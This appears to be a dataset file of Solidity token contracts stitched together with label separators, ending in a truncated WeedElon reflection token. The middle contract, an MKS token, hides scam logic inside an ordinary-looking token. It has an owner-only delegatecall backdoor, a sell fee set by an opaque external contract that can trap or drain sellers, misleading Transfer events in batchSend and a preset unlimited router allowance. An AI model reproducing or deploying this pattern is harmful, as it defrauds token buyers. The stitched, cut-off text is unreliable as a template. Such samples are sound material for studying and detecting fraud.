mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.2.0") {
constructor(
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") {
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2020-10-18
*
* /$$ /$$
* |__/ | $$
* /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$/$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$
* /$$_____/ /$$__ $$| $$| $$__ $$| $$_ $$_ $$ |____ $$| $$ /$$/ /$$__ $$ /$$_____/
* | $$ | $$ \ $$| $$| $$ \ $$| $$ \ $$ \ $$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$$$$$
* | $$ | $$ | $$| $$| $$ | $$| $$ | $$ | $$ /$$__ $$| $$_ $$ | $$_____/ \____ $$
* | $$$$$$$| $$$$$$/| $$| $$ | $$| $$ | $$ | $$| $$$$$$$| $$ \ $$| $$$$$$$ /$$$$$$$/
* \_______/ \______/ |__/|__/ |__/|__/ |__/ |__/ \_______/|__/ \__/ \_______/|_______/
*
*
* web: coinmakes.com
* telegram: coinmakes
* Total supply: 20.000.000 MKS
* Uniswap supply (50% of total supply): 2.000.000 MKS
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity >=0.6.12 <0.7.0;
interface FeeManagementLibrary {
function calculate(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
uint256 fee = calcFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
function calcFee(address _from, address _to, uint _value) private returns(uint256) {
uint fee = 0;
if (_to == UNI && _from != owner) {
fee = FeeManagementLibrary(FeeManagement).calculate(address(this), UNI, _value);
}
return fee;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private UNI;
address constant internal FeeManagement = 0x1691b5bA9E44Fdc0DCA002726a85d438B96183c4;
constructor(string memory _name, string memory _symbol, uint _totalSupply) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _totalSupply;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
// SPDX-License-Identifier: Unlicensed
//Elon is the king of cryptomeme.
//Elon loves weed - so do we.
// 50% to Vitalik B - 50% to uniswap pool
//Liq locked(Unicrypt)
//Fair Launch
//Community Coin
//https://t.me/weedelon
//Antibot - Bots GTFO, we are a fair Launch
//Community driven - Lets GO !
// .:.
// :|:
// .:|:.
// ::|::
// :. ::|:: .:
// :|:. .::|::. .:|:
// ::|:. :::|::: .:|:;
// `::|:. :::|::: .:|::'
// ::|::. :::|::: .::|:;
// `::|::. :::|::: .::|::'
// :::|::. :::|::: .::|::;
// `:::|::. :::|::: .::|::;'
//`::. `:::|::. :::|::: .::|::;' .:;'
// `:::.. ¹::|::. :::|::: .::|::¹ ..::;'
// `:::::. ':|::. :::|::: .::|:' ,::::;'
// `:::::. ':|:::::|:::::|:' :::::;'
// `:::::.:::::|::::|::::|::::.,:::;'
// ':::::::::|:::|:::|:::::::;:'
// ':::::::|::|::|:::::::''
// `::::::::::;'
// .:;'' ::: ``::.
// :':':
// ;
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WeedElon is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'WeedElon';
string private _symbol = 'WLON';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
